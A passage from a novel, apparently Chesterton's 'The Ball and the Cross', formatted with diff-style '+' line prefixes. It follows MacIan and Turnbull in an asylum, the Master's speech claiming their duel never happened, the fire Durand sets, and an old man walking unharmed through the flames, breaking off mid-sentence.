+and run across the lawn with an action he had never seen in the +man before, with all his experience of the eccentric humours of +this Celt. MacIan fell on the bench, shaking it so that it +rattled, and gripped it with his knees like one in dreadful pain +of body. That particular run and tumble is typical only of a man +who has been hit by some sudden and incurable evil, who is bitten +by a viper or condemned to be hanged. Turnbull looked up in the +white face of his friend and enemy, and almost turned cold at +what he saw there. He had seen the blue but gloomy eyes of the +western Highlander troubled by as many tempests as his own west +Highland seas, but there had always been a fixed star of faith +behind the storms. Now the star had gone out, and there was only +misery. + +Yet MacIan had the strength to answer the question where +Turnbull, taken by surprise, had not the strength to ask it. + +"They are right, they are right!" he cried. "O my God! they are +right, Turnbull. I ought to be here!" + +He went on with shapeless fluency as if he no longer had the +heart to choose or check his speech. "I suppose I ought to have +guessed long ago--all my big dreams and schemes--and everyone +being against us--but I was stuck up, you know." + +"Do tell me about it, really," cried the atheist, and, faced with +the furnace of the other's pain, he did not notice that he spoke +with the affection of a father. + +"I am mad, Turnbull," said Evan, with a dead clearness of speech, +and leant back against the garden seat. + +"Nonsense," said the other, clutching at the obvious cue of +benevolent brutality, "this is one of your silly moods." + +MacIan shook his head. "I know enough about myself," he said, "to +allow for any mood, though it opened heaven or hell. But to see +things--to see them walking solid in the sun--things that can't +be there--real mystics never do that, Turnbull." + +"What things?" asked the other, incredulously. + +MacIan lowered his voice. "I saw _her_," he said, "three minutes +ago--walking here in this hell yard." + +Between trying to look scornful and really looking startled, +Turnbull's face was confused enough to emit no speech, and Evan +went on in monotonous sincerity: + +"I saw her walk behind those blessed trees against that holy sky +of gold as plain as I can see her whenever I shut my eyes. I did +shut them, and opened them again, and she was still there--that +is, of course, she wasn't---- She still had a little fur round +her neck, but her dress was a shade brighter than when I really +saw her." + +"My dear fellow," cried Turnbull, rallying a hearty laugh, "the +fancies have really got hold of you. You mistook some other poor +girl here for her." + +"Mistook some other----" said MacIan, and words failed him +altogether. + +They sat for some moments in the mellow silence of the evening +garden, a silence that was stifling for the sceptic, but utterly +empty and final for the man of faith. At last he broke out again +with the words: "Well, anyhow, if I'm mad, I'm glad I'm mad on +that." + +Turnbull murmured some clumsy deprecation, and sat stolidly +smoking to collect his thoughts; the next instant he had all his +nerves engaged in the mere effort to sit still. + +Across the clear space of cold silver and a pale lemon sky which +was left by the gap in the ilex-trees there passed a slim, dark +figure, a profile and the poise of a dark head like a bird's, +which really pinned him to his seat with the point of +coincidence. With an effort he got to his feet, and said with a +voice of affected insouciance: "By George! MacIan, she is +uncommonly like----" + +"What!" cried MacIan, with a leap of eagerness that was +heart-breaking, "do you see her, too?" And the blaze came back +into the centre of his eyes. + +Turnbull's tawny eyebrows were pulled together with a peculiar +frown of curiosity, and all at once he walked quickly across the +lawn. MacIan sat rigid, but peered after him with open and +parched lips. He saw the sight which either proved him sane or +proved the whole universe half-witted; he saw the man of flesh +approach that beautiful phantom, saw their gestures of +recognition, and saw them against the sunset joining hands. + +He could stand it no longer, but ran across to the path, turned +the corner and saw standing quite palpable in the evening +sunlight, talking with a casual grace to Turnbull, the face and +figure which had filled his midnights with frightfully vivid or +desperately half-forgotten features. She advanced quite +pleasantly and coolly, and put out her hand. The moment that he +touched it he knew that he was sane even if the solar system was +crazy. + +She was entirely elegant and unembarrassed. That is the awful +thing about women--they refuse to be emotional at emotional +moments, upon some such ludicrous pretext as there being someone +else there. But MacIan was in a condition of criticism much less +than the average masculine one, being in fact merely overturned +by the rushing riddle of the events. + +Evan does not know to this day what particular question he asked, +but he vividly remembers that she answered, and every line or +fluctuation of her face as she said it. + +"Oh, don't you know?" she said, smiling, and suddenly lifting her +level brown eyebrows. "Haven't you heard the news? I'm a +lunatic." + +Then she added after a short pause, and with a sort of pride: +"I've got a certificate." + +Her manner, by the matchless social stoicism of her sex, was +entirely suited to a drawing-room, but Evan's reply fell somewhat +far short of such a standard, as he only said: "What the devil in +hell does all this nonsense mean?" + +"Really," said the young lady, and laughed. + +"I beg your pardon," said the unhappy young man, rather wildly, +"but what I mean is, why are you here in an asylum?" + +The young woman broke again into one of the maddening and +mysterious laughs of femininity. Then she composed her features, +and replied with equal dignity: "Well, if it comes to that, why +are you?" + +The fact that Turnbull had strolled away and was investigating +rhododendrons may have been due to Evan's successful prayers to +the other world, or possibly to his own pretty successful +experience of this one. But though they two were as isolated as a +new Adam and Eve in a pretty ornamental Eden, the lady did not +relax by an inch the rigour of her badinage. + +"I am locked up in the madhouse," said Evan, with a sort of stiff +pride, "because I tried to keep my promise to you." + +"Quite so," answered the inexplicable lady, nodding with a +perfectly blazing smile, "and I am locked up because it was to me +you promised." + +"It is outrageous!" cried Evan; "it is impossible!" + +"Oh, you can see my certificate if you like," she replied with +some hauteur. + +MacIan stared at her and then at his boots, and then at the sky +and then at her again. He was quite sure now that he himself was +not mad, and the fact rather added to his perplexity. + +Then he drew nearer to her, and said in a dry and dreadful voice: +"Oh, don't condescend to play the fool with such a fool as me. +Are you really locked up here as a patient--because you helped us +to escape?" + +"Yes," she said, still smiling, but her steady voice had a shake +in it. + +Evan flung his big elbow across his forehead and burst into +tears. + +The pure lemon of the sky faded into purer white as the great +sunset silently collapsed. The birds settled back into the trees; +the moon began to glow with its own light. Mr. James Turnbull +continued his botanical researches into the structure of the +rhododendron. But the lady did not move an inch until Evan had +flung up his face again; and when he did he saw by the last gleam +of sunlight that it was not only his face that was wet. + +Mr. James Turnbull had all his life professed a profound interest +in physical science, and the phenomena of a good garden were +really a pleasure to him; but after three-quarters of an hour or +so even the apostle of science began to find rhododendrus a bore, +and was somewhat relieved when an unexpected development of +events obliged him to transfer his researches to the equally +interesting subject of hollyhocks, which grew some fifty feet +farther along the path. The ostensible cause of his removal was +the unexpected reappearance of his two other acquaintances +walking and talking laboriously along the way, with the black +head bent close to the brown one. Even hollyhocks detained +Turnbull but a short time. Having rapidly absorbed all the +important principles affecting the growth of those vegetables, he +jumped over a flower-bed and walked back into the building. The +other two came up along the slow course of the path talking and +talking. No one but God knows what they said (for they certainly +have forgotten), and if I remembered it I would not repeat it. +When they parted at the head of the walk she put out her hand +again in the same well-bred way, although it trembled; he seemed +to restrain a gesture as he let it fall. + +"If it is really always to be like this," he said, thickly, "it +would not matter if we were here for ever." + +"You tried to kill yourself four times for me," she said, +unsteadily, "and I have been chained up as a madwoman for you. +I really think that after that----" + +"Yes, I know," said Evan in a low voice, looking down. "After +that we belong to each other. We are sort of sold to each +other--until the stars fall." Then he looked up suddenly, and +said: "By the way, what is your name?" + +"My name is Beatrice Drake," she replied with complete gravity. +"You can see it on my certificate of lunacy." + + + +XIX. THE LAST PARLEY + +Turnbull walked away, wildly trying to explain to himself the +presence of two personal acquaintances so different as Vane and +the girl. As he skirted a low hedge of laurel, an enormously tall +young man leapt over it, stood in front of him, and almost fell +on his neck as if seeking to embrace him. + +"Don't you know me?" almost sobbed the young man, who was in the +highest spirits. "Ain't I written on your heart, old boy? I say, +what did you do with my yacht?" + +"Take your arms off my neck," said Turnbull, irritably. "Are you +mad?" + +The young man sat down on the gravel path and went into ecstasies +of laughter. "No, that's just the fun of it--I'm not mad," he +replied. "They've shut me up in this place, and I'm not mad." And +he went off again into mirth as innocent as wedding-bells. + +Turnbull, whose powers of surprise were exhausted, rolled his +round grey eyes and said, "Mr. Wilkinson, I think," because he +could not think of anything else to say. + +The tall man sitting on the gravel bowed with urbanity, and said: +"Quite at your service. Not to be confused with the Wilkinsons of +Cumberland; and as I say, old boy, what have you done with my +yacht? You see, they've locked me up here--in this garden--and a +yacht would be a sort of occupation for an unmarried man." + +"I am really horribly sorry," began Turnbull, in the last stage +of bated bewilderment and exasperation, "but really----" + +"Oh, I can see you can't have it on you at the moment," said Mr. +Wilkinson with much intellectual magnanimity. + +"Well, the fact is----" began Turnbull again, and then the phrase +was frozen on his mouth, for round the corner came the goatlike +face and gleaming eye-glasses of Dr. Quayle. + +"Ah, my dear Mr. Wilkinson," said the doctor, as if delighted at +a coincidence; "and Mr. Turnbull, too. Why, I want to speak to +Mr. Turnbull." + +Mr. Turnbull made some movement rather of surrender than assent, +and the doctor caught it up exquisitely, showing even more of his +two front teeth. "I am sure Mr. Wilkinson will excuse us a +moment." And with flying frock-coat he led Turnbull rapidly round +the corner of a path. + +"My dear sir," he said, in a quite affectionate manner, "I do not +mind telling you--you are such a very hopeful case--you +understand so well the scientific point of view; and I don't like +to see you bothered by the really hopeless cases. They are +monotonous and maddening. The man you have just been talking to, +poor fellow, is one of the strongest cases of pure _idee fixe_ +that we have. It's very sad, and I'm afraid utterly incurable. He +keeps on telling everybody"--and the doctor lowered his voice +confidentially--"he tells everybody that two people have taken is +yacht. His account of how he lost it is quite incoherent." + +Turnbull stamped his foot on the gravel path, and called out: +"Oh, I can't stand this. Really----" + +"I know, I know," said the psychologist, mournfully; "it is a +most melancholy case, and also fortunately a very rare one. It is +so rare, in fact, that in one classification of these maladies it +is entered under a heading by itself--Perdinavititis, mental +inflammation creating the impression that one has lost a ship. +Really," he added, with a kind of half-embarrassed guilt, "it's +rather a feather in my cap. I discovered the only existing case of +perdinavititis." + +"But this won't do, doctor," said Turnbull, almost tearing his +hair, "this really won't do. The man really did lose a ship. +Indeed, not to put too fine a point on it, I took his ship." + +Dr. Quayle swung round for an instant so that his silk-lined +overcoat rustled, and stared singularly at Turnbull. Then he said +with hurried amiability: "Why, of course you did. Quite so, quite +so," and with courteous gestures went striding up the garden +path. Under the first laburnum-tree he stopped, however, and +pulling out his pencil and notebook wrote down feverishly: +"Singular development in the Elenthero-maniac, Turnbull. Sudden +manifestation of Rapinavititis--the delusion that one has stolen +a ship. First case ever recorded." + +Turnbull stood for an instant staggered into stillness. Then he +ran raging round the garden to find MacIan, just as a husband, +even a bad husband, will run raging to find his wife if he is +full of a furious query. He found MacIan stalking moodily about +the half-lit garden, after his extraordinary meeting with +Beatrice. No one who saw his slouching stride and sunken head +could have known that his soul was in the seventh heaven of +ecstasy. He did not think; he did not even very definitely +desire. He merely wallowed in memories, chiefly in material +memories; words said with a certain cadence or trivial turns of +the neck or wrist. Into the middle of his stationary and +senseless enjoyment were thrust abruptly the projecting elbow and +the projecting red beard of Turnbull. MacIan stepped back a +little, and the soul in his eyes came very slowly to its windows. +When James Turnbull had the glittering sword-point planted upon +his breast he was in far less danger. For three pulsating seconds +after the interruption MacIan was in a mood to have murdered his +father. + +And yet his whole emotional anger fell from him when he saw +Turnbull's face, in which the eyes seemed to be bursting from the +head like bullets. All the fire and fragrance even of young and +honourable love faded for a moment before that stiff agony of +interrogation. + +"Are you hurt, Turnbull?" he asked, anxiously. + +"I am dying," answered the other quite calmly. "I am in the quite +literal sense of the words dying to know something. I want to +know what all this can possibly mean." + +MacIan did not answer, and he continued with asperity: "You are +still thinking about that girl, but I tell you the whole thing is +incredible. She's not the only person here. I've met the fellow +Wilkinson, whose yacht we lost. I've met the very magistrate you +were hauled up to when you broke my window. What can it +mean--meeting all these old people again? One never meets such +old friends again except in a dream." + +Then after a silence he cried with a rending sincerity: "Are you +really there, Evan? Have you ever been really there? Am I simply +dreaming?" + +MacIan had been listening with a living silence to every word, +and now his face flamed with one of his rare revelations of life. + +"No, you good atheist," he cried; "no, you clean, courteous, +reverent, pious old blasphemer. No, you are not dreaming--you are +waking up." + +"What do you mean?" + +"There are two states where one meets so many old friends," said +MacIan; "one is a dream, the other is the end of the world." + +"And you say----" + +"I say this is not a dream," said Evan in a ringing voice. + +"You really mean to suggest----" began Turnbull. + +"Be silent! or I shall say it all wrong," said MacIan, breathing +hard. "It's hard to explain, anyhow. An apocalypse is the +opposite of a dream. A dream is falser than the outer life. But +the end of the world is more actual than the world it ends. I +don't say this is really the end of the world, but it's something +like that--it's the end of something. All the people are crowding +into one corner. Everything is coming to a point." + +"What is the point?" asked Turnbull. + +"I can't see it," said Evan; "it is too large and plain." + +Then after a silence he said: "I can't see it--and yet I will try +to describe it. Turnbull, three days ago I saw quite suddenly +that our duel was not right after all." + +"Three days ago!" repeated Turnbull. "When and why did this +illumination occur?" + +"I knew I was not quite right," answered Evan, "the moment I saw +the round eyes of that old man in the cell." + +"Old man in the cell!" repeated his wondering companion. "Do you +mean the poor old idiot who likes spikes to stick out?" + +"Yes," said MacIan, after a slight pause, "I mean the poor old +idiot who likes spikes to stick out. When I saw his eyes and +heard his old croaking accent, I knew that it would not really +have been right to kill you. It would have been a venial sin." + +"I am much obliged," said Turnbull, gruffly. + +"You must give me time," said MacIan, quite patiently, "for I am +trying to tell the whole truth. I am trying to tell more of it +than I know." + +"So you see I confess"--he went on with laborious distinctness-- +"I confess that all the people who called our duel mad were right +in a way. I would confess it to old Cumberland Vane and his +eye-glass. I would confess it even to that old ass in brown +flannel who talked to us about Love. Yes, they are right in a +way. I am a little mad." + +He stopped and wiped his brow as if he were literally doing heavy +labour. Then he went on: + +"I am a little mad; but, after all, it is only a little madness. +When hundreds of high-minded men had fought duesl about a jostle +with the elbow or the ace of spades, the whole world need not +have gone wild over my one little wildness. Plenty of other +people have killed themselves between then and now. But all +England has gone into captivity in order to take us captive. All +England has turned into a lunatic asylum in order to prove us +lunatics. Compared with the general public, I might positively be +called sane." + +He stopped again, and went on with the same air of travailing +with the truth: + +"When I saw that, I saw everything; I saw the Church and the +world. The Church in its earthly action has really touched morbid +things--tortures and bleeding visions and blasts of +extermination. The Church has had her madnesses, and I am one of +them. I am the massacre of St. Bartholomew. I am the Inquisition +of Spain. I do not say that we have never gone mad, but I say +that we are fit to act as keepers to our enemies. Massacre is +wicked even with a provocation, as in the Bartholomew. But your +modern Nietzsche will tell you that massacre would be glorious +without a provocation. Torture should be violently stopped, +though the Church is doing it. But your modern Tolstoy will tell +you that it ought not to be violently stopped whoever is doing +it. In the long run, which is most mad--the Church or the world? +Which is madder, the Spanish priest who permitted tyranny, or the +Prussian sophist who admired it? Which is madder, the Russian +priest who discourages righteous rebellion, or the Russian +novelist who forbids it? That is the final and blasting test. The +world left to itself grows wilder than any creed. A few days ago +you and I were the maddest people in England. Now, by God! I +believe we are the sanest. That is the only real question-- +whether the Church is really madder than the world. Let the +rationalists run their own race, and let us see where _they_ end. +If the world has some healthy balance other than God, let the +world find it. Does the world find it? Cut the world loose," he +cried with a savage gesture. "Does the world stand on its own +end? Does it stand, or does it stagger?" + +Turnbull remained silent, and MacIan said to him, looking once +more at the earth: "It staggers, Turnbull. It cannot stand by +itself; you know it cannot. It has been the sorrow of your life. +Turnbull, this garden is not a dream, but an apocalyptic +fulfilment. This garden is the world gone mad." + +Turnbull did not move his head, and he had been listening all the +time; yet, somehow, the other knew that for the first time he was +listening seriously. + +"The world has gone mad," said MacIan, "and it has gone mad about +Us. The world takes the trouble to make a big mistake about every +little mistake made by the Church. That is why they have turned +ten counties to a madhouse; that is why crowds of kindly people +are poured into this filthy melting-pot. Now is the judgement of +this world. The Prince of this World is judged, and he is judged +exactly because he is judging. There is at last one simple +solution to the quarrel between the ball and the cross----" + +Turnbull for the first time started. + +"The ball and----" he repeated. + +"What is the matter with you?" asked MacIan. + +"I had a dream," said Turnbull, thickly and obscurely, "in which +I saw the cross struck crooked and the ball secure----" + +"I had a dream," said MacIan, "in which I saw the cross erect and +the ball invisible. They were both dreams from hell. There must +be some round earth to plant the cross upon. But here is the +awful difference--that the round world will not consent even to +continue round. The astronomers are always telling us that it is +shaped like an orange, or like an egg, or like a German sausage. +They beat the old world about like a bladder and thump it into a +thousand shapeless shapes. Turnbull, we cannot trust the ball to +be always a ball; we cannot trust reason to be reasonable. In the +end the great terrestrial globe will go quite lop-sided, and only +the cross will stand upright." + +There was a long silence, and then Turnbull said, hesitatingly: +"Has it occurred to you that since--since those two dreams, or +whatever they were----" + +"Well?" murmured MacIan. + +"Since then," went on Turnbull, in the same low voice, "since +then we have never even looked for our swords." + +"You are right," answered Evan almost inaudibly. "We have found +something which we both hate more than we ever hated each other, +and I think I know its name." + +Turnbull seemed to frown and flinch for a moment. "It does not +much matter what you call it," he said, "so long as you keep out +of its way." + +The bushes broke and snapped abruptly behind them, and a very +tall figure towered above Turnbull with an arrogant stoop and a +projecting chin, a chin of which the shape showed queerly even in +its shadow upon the path. + +"You see that is not so easy," said MacIan between his teeth. + +They looked up into the eyes of the Master, but looked only for a +moment. The eyes were full of a frozen and icy wrath, a kind of +utterly heartless hatred. His voice was for the first time devoid +of irony. There was no more sarcasm in it than there is in an +iron club. + +"You will be inside the building in three minutes," he said, with +pulverizing precision, "or you will be fired on by the artillery +at all the windows. There is too much talking in this garden; we +intend to close it. You will be accommodated indoors." + +"Ah!" said MacIan, with a long and satisfied sigh, "then I was +right." + +And he turned his back and walked obediently towards the +building. Turnbull seemed to canvass for a few minutes the notion +of knocking the Master down, and then fell under the same almost +fairy fatalism as his companion. In some strange way it did seem +that the more smoothly they yielded, the more swiftly would +events sweep on to some great collision. + + + +XX. DIES IRAE + +As they advanced towards the asylum they looked up at its rows on +rows of windows, and understood the Master's material threat. By +means of that complex but concealed machinery which ran like a +network of nerves over the whole fabric, there had been shot out +under every window-ledge rows and rows of polished-steel +cylinders, the cold miracles of modern gunnery. They commanded +the whole garden and the whole country-side, and could have blown +to pieces an army corps. + +This silent declaration of war had evidently had its complete +effect. As MacIan and Turnbull walked steadily but slowly towards +the entrance hall of the institution, they could see that most, +or at least many, of the patients had already gathered there as +well as the staff of doctors and the whole regiment of keepers and +assistants. But when they entered the lamp-lit hall, and the high +iron door was clashed to and locked behind them, yet a new +amazement leapt into their eyes, and the stalwart Turnbull almost +fell. For he saw a sight which was indeed, as MacIan had +said--either the Day of Judgement or a dream. + +Within a few feet of him at one corner of the square of standing +people stood the girl he had known in Jersey, Madeleine Durand. +She looked straight at him with a steady smile which lit up the +scene of darkness and unreason like the light of some honest +fireside. Her square face and throat were thrown back, as her +habit was, and there was something almost sleepy in the geniality +of her eyes. He saw her first, and for a few seconds saw her +only; then the outer edge of his eyesight took in all the other +staring faces, and he saw all the faces he had ever seen for +weeks and months past. There was the Tolstoyan in Jaeger flannel, +with the yellow beard that went backward and the foolish nose and +eyes that went forward, with the curiosity of a crank. He was +talking eagerly to Mr. Gordon, the corpulent Jew shopkeeper whom +they had once gagged in his own shop. There was the tipsy old +Hertfordshire rustic; he was talking energetically to himself. +There was not only Mr. Vane the magistrate, but the clerk of Mr. +Vane, the magistrate. There was not only Miss Drake of the +motor-car, but also Miss Drake's chauffeur. Nothing wild or +unfamiliar could have produced upon Turnbull such a nightmare +impression as that ring of familiar faces. Yet he had one +intellectual shock which was greater than all the others. He +stepped impulsively forward towards Madeleine, and then wavered +with a kind of wild humility. As he did so he caught sight of +another square face behind Madeleine's, a face with long grey +whiskers and an austere stare. It was old Durand, the girls' +father; and when Turnbull saw him he saw the last and worst +marvel of that monstrous night. He remembered Durand; he +remembered his monotonous, everlasting lucidity, his stupefyingly +sensible views of everything, his colossal contentment with +truisms merely because they were true. "Confound it all!" cried +Turnbull to himself, "if _he_ is in the asylum, there can't be +anyone outside." He drew nearer to Madeleine, but still +doubtfully and all the more so because she still smiled at him. +MacIan had already gone across to Beatrice with an air of fright. + +Then all these bewildered but partly amicable recognitions were +cloven by a cruel voice which always made all human blood turn +bitter. The Master was standing in the middle of the room +surveying the scene like a great artist looking at a completed +picture. Handsome as he looked, they had never seen so clearly +what was really hateful in his face; and even then they could +only express it by saying that the arched brows and the long +emphatic chin gave it always a look of being lit from below, like +the face of some infernal actor. + +"This is indeed a cosy party," he said, with glittering eyes. + +The Master evidently meant to say more, but before he could say +anything M. Durand had stepped right up to him and was speaking. + +He was speaking exactly as a French bourgeois speaks to the +manager of a restaurant. That is, he spoke with rattling and +breathless rapidity, but with no incoherence, and therefore with +no emotion. It was a steady, monotonous vivacity, which came not +seemingly from passion, but merely from the reason having been +sent off at a gallop. He was saying something like this: + +"You refuse me my half-bottle of Medoc, the drink the most +wholesome and the most customary. You refuse me the company and +obedience of my daughter, which Nature herself indicates. You +refuse me the beef and mutton, without pretence that it is a fast +of the Church. You now forbid me the promenade, a thing necessary +to a person of my age. It is useless to tell me that you do all +this by law. Law rests upon the social contract. If the citizen +finds himself despoiled of such pleasures and powers as he would +have had even in the savage state, the social contract is +annulled." + +"It's no good chattering away, Monsieur," said Hutton, for the +Master was silent. "The place is covered with machine-guns. We've +got to obey our orders, and so have you." + +"The machinery is of the most perfect," assented Durand, somewhat +irrelevantly; "worked by petroleum, I believe. I only ask you to +admit that if such things fall below the comfort of barbarism, +the social contract is annulled. It is a pretty little point of +theory." + +"Oh! I dare say," said Hutton. + +Durand bowed quite civilly and withdrew. + +"A cosy party," resumed the Master, scornfully, "and yet I +believe some of you are in doubt about how we all came together. +I will explain it, ladies and gentlemen; I will explain +everything. To whom shall I specially address myself? To Mr. +James Turnbull. He has a scientific mind." + +Turnbull seemed to choke with sudden protest. The Master seemed +only to cough out of pure politeness and proceeded: "Mr. Turnbull +will agree with me," he said, "when I say that we long felt in +scientific circles that great harm was done by such a legend as +that of the Crucifixion." + +Turnbull growled something which was presumably assent. + +The Master went on smoothly: "It was in vain for us to urge that +the incident was irrelevant; that there were many such fanatics, +many such executions. We were forced to take the thing thoroughly +in hand, to investigate it in the spirit of scientific history, +and with the assistance of Mr. Turnbull and others we were happy +in being able to announce that this alleged Crucifixion never +occurred at all." + +MacIan lifted his head and looked at the Master steadily, but +Turnbull did not look up. + +"This, we found, was the only way with all superstitions," +continued the speaker; "it was necessary to deny them +historically, and we have done it with great success in the case +of miracles and such things. Now within our own time there arose +an unfortunate fuss which threatened (as Mr. Turnbull would say) +to galvanize the corpse of Christianity into a fictitious +life--the alleged case of a Highland eccentric who wanted to +fight for the Virgin." + +MacIan, quite white, made a step forward, but the speaker did not +alter his easy attitude or his flow of words. "Again we urged +that this duel was not to be admired, that it was a mere brawl, +but the people were ignorant and romantic. There were signs of +treating this alleged Highlander and his alleged opponent as +heroes. We tried all other means of arresting this reactionary +hero worship. Working men who betted on the duel were imprisoned +for gambling. Working men who drank the health of a duellist were +imprisoned for drunkenness. But the popular excitement about the +alleged duel continued, and we had to fall back on our old +historical method. We investigated, on scientific principles, the +story of MacIan's challenge, and we are happy to be able to +inform you that the whole story of the attempted duel is a fable. +There never was any challenge. There never was any man named +MacIan. It is a melodramatic myth, like Calvary." + +Not a soul moved save Turnbull, who lifted his head; yet there +was the sense of a silent explosion. + +"The whole story of the MacIan challenge," went on the Master, +beaming at them all with a sinister benignity, "has been found to +originate in the obsessions of a few pathological types, who are +now all fortunately in our care. There is, for instance, a person +here of the name of Gordon, formerly the keeper of a curiosity +shop. He is a victim of the disease called Vinculomania--the +impression that one has been bound or tied up. We have also a +case of Fugacity (Mr. Whimpey), who imagines that he was chased +by two men." + +The indignant faces of the Jew shopkeeper and the Magdalen Don +started out of the crowd in their indignation, but the speaker +continued: + +"One poor woman we have with us," he said, in a compassionate +voice, "believes she was in a motor-car with two such men; this +is the well-known illusion of speed on which I need not dwell. +Another wretched woman has the simple egotistic mania that she +has caused the duel. Madeleine Durand actually professes to have +been the subject of the fight between MacIan and his enemy, a +fight which, if it occurred at all, certainly began long before. +But it never occurred at all. We have taken in hand every person +who professed to have seen such a thing, and proved them all to +be unbalanced. That is why they are here." + +The Master looked round the room, just showing his perfect teeth +with the perfection of artistic cruelty, exalted for a moment in +the enormous simplicity of his success, and then walked across +the hall and vanished through an inner door. His two lieutenants, +Quayle and Hutton, were left standing at the head of the great +army of servants and keepers. + +"I hope we shall have no more trouble," said Dr. Quayle +pleasantly enough, and addressing Turnbull, who was leaning +heavily upon the back of a chair. + +Still looking down, Turnbull lifted the chair an inch or two from +the ground. Then he suddenly swung it above his head and sent it +at the inquiring doctor with an awful crash which sent one of its +wooden legs loose along the floor and crammed the doctor gasping +into a corner. MacIan gave a great shout, snatched up the loose +chair-leg, and, rushing on the other doctor, felled him with a +blow. Twenty attendants rushed to capture the rebels; MacIan +flung back three of them and Turnbull went over on top of one, +when from behind them all came a shriek as of something quite +fresh and frightful. + +Two of the three passages leading out of the hall were choked +with blue smoke. Another instant and the hall was full of the fog +of it, and red sparks began to swarm like scarlet bees. + +"The place is on fire!" cried Quayle with a scream of indecent +terror. "Oh, who can have done it? How can it have happened?" + +A light had come into Turnbull's eyes. "How did the French +Revolution happen?" he asked. + +"Oh, how should I know!" wailed the other. + +"Then I will tell you," said Turnbull; "it happened because some +people fancied that a French grocer was as respectable as he +looked." + +Even as he spoke, as if by confirmation, old Mr. Durand +re-entered the smoky room quite placidly, wiping the petroleum +from his hands with a handkerchief. He had set fire to the +building in accordance with the strict principles of the social +contract. + +But MacIan had taken a stride forward and stood there shaken and +terrible. "Now," he cried, panting, "now is the judgement of the +world. The doctors will leave this place; the keepers will leave +this place. They will leave us in charge of the machinery and the +machine-guns at the windows. But we, the lunatics, will wait to +be burned alive if only we may see them go." + +"How do you know we shall go?" asked Hutton, fiercely. + +"You believe nothing," said MacIan, simply, "and you are +insupportably afraid of death." + +"So this is suicide," sneered the doctor; "a somewhat doubtful +sign of sanity." + +"Not at all--this is vengeance," answered Turnbull, quite calmly; +"a thing which is completely healthy." + +"You think the doctors will go," said Hutton, savagely. + +"The keepers have gone already," said Turnbull. + +Even as they spoke the main doors were burst open in mere brutal +panic, and all the officers and subordinates of the asylum rushed +away across the garden pursued by the smoke. But among the +ticketed maniacs not a man or woman moved. + +"We hate dying," said Turnbull, with composure, "but we hate you +even more. This is a successful revolution." + +In the roof above their heads a panel shot back, showing a strip +of star-lit sky and a huge thing made of white metal, with the +shape and fins of a fish, swinging as if at anchor. At the same +moment a steel ladder slid down from the opening and struck the +floor, and the cleft chin of the mysterious Master was thrust +into the opening. "Quayle, Hutton," he said, "you will escape +with me." And they went up the ladder like automata of lead. + +Long after they had clambered into the car, the creature with the +cloven face continued to leer down upon the smoke-stung crowd +below. Then at last he said in a silken voice and with a smile of +final satisfaction: + +"By the way, I fear I am very absent minded. There is one man +specially whom, somehow, I always forget. I always leave him +lying about. Once I mislaid him on the Cross of St. Paul's. So +silly of me; and now I've forgotten him in one of those little +cells where your fire is burning. Very unfortunate--especially +for him." And nodding genially, he climbed into his flying ship. + +MacIan stood motionless for two minutes, and then rushed down one +of the suffocating corridors till he found the flames. Turnbull +looked once at Madeleine, and followed. + + * * * + +MacIan, with singed hair, smoking garments, and smarting hands +and face, had already broken far enough through the first +barriers of burning timber to come within cry of the cells he had +once known. It was impossible, however, to see the spot where the +old man lay dead or alive; not now through darkness, but through +scorching and aching light. The site of the old half-wit's cell +was now the heart of a standing forest of fire--the flames as +thick and yellow as a cornfield. Their incessant shrieking and +crackling was like a mob shouting against an orator. Yet through +all that deafening density MacIan thought he heard a small and +separate sound. When he heard it he rushed forward as if to +plunge into that furnace, but Turnbull arrested him by an elbow. + +"Let me go!" cried Evan, in agony; "it's the poor old beggar's +voice--he's still alive, and shouting for help." + +"Listen!" said Turnbull, and lifted one finger from his clenched +hand. + +"Or else he is shrieking with pain," protested MacIan. "I will +not endure it." + +"Listen!" repeated Turnbull, grimly. "Did you ever hear anyone +shout for help or shriek with pain in that voice?" + +The small shrill sounds which came through the crash of the +conflagration were indeed of an odd sort, and MacIan turned a +face of puzzled inquiry to his companion. + +"He is singing," said Turnbull, simply. + +A remaining rampart fell, crushing the fire, and through the +diminished din of it the voice of the little old lunatic came +clearer. In the heart of that white-hot hell he was singing like +a bird. What he was singing it was not very easy to follow, but +it seemed to be something about playing in the golden hay. + +"Good Lord!" cried Turnbull, bitterly, "there seem to be some +advantages in really being an idiot." Then advancing to the +fringe of the fire he called out on chance to the invisible +singer: "Can you come out? Are you cut off?" + +"God help us all!" said MacIan, with a shudder; "he's laughing +now." + +At whatever stage of being burned alive the invisible now found +himself, he was now shaking out peals of silvery and hilarious +laughter. As he listened, MacIan's two eyes began to glow, as if +a strange thought had come into his head. + +"Fool, come out and save yourself!" shouted Turnbull. + +"No, by Heaven! that is not the way," cried Evan, suddenly. +"Father," he shouted, "come out and save us all!" + +The fire, though it had dropped in one or two places, was, upon +the whole, higher and more unconquerable than ever. Separate tall +flames shot up and spread out above them like the fiery cloisters +of some infernal cathedral, or like a grove of red tropical trees +in the garden of the devil. Higher yet in the purple hollow of +the night the topmost flames leapt again and again fruitlessly at +the stars, like golden dragons chained but struggling. The towers +and domes of the oppressive smoke seemed high and far enough to +drown distant planets in a London fog. But if we exhausted all +frantic similes for that frantic scene, the main impression about +the fire would still be its ranked upstanding rigidity and a sort +of roaring stillness. It was literally a wall of fire. + +"Father," cried MacIan, once more, "come out of it and save us +all!" Turnbull was staring at him as he cried. + +The tall and steady forest of fire must have been already a +portent visible to the whole circle of land and sea. The red +flush of it lit up the long sides of white ships far out in the +German Ocean, and picked out like piercing rubies the windows in +the villages on the distant heights. If any villagers or sailors +were looking towards it they must have seen a strange sight as +MacIan cried out for the third time. + +That forest of fire wavered, and was cloven in the centre; and +then the whole of one half of it leaned one way as a cornfield +leans all one way under the load of the wind. Indeed, it looked +as if a great wind had sprung up and driven the great fire +aslant. Its smoke was no longer sent up to choke the stars, but +was trailed and dragged across county after county like one +dreadful banner of defeat. + +But it was not the wind; or, if it was the wind, it was two +winds blowing in opposite directions. For while one half of the +huge fire sloped one way towards the inland heights, the other +half, at exactly the same angle, sloped out eastward towards the +sea. So that earth and ocean could behold, where there had been a +mere fiery mass, a thing divided like a V--a cloven tongue of +flame. But if it were a prodigy for those distant, it was +something beyond speech for those quite near. As the echoes of +Evan's last appeal rang and died in the universal uproar, the +fiery vault over his head opened down the middle, and, reeling +back in two great golden billows, hung on each side as huge and +harmless as two sloping hills lie on each side of a valley. Down +the centre of this trough, or chasm, a little path ran, cleared +of all but ashes, and down this little path was walking a little +old man singing as if he were alone in a wood in spring. + +When James Turnbull saw this he suddenly put out a hand and +seemed to support himself on the strong shoulder of Madeleine +Durand. Then after a moment's hesitation he put his other hand on +the shoulder of 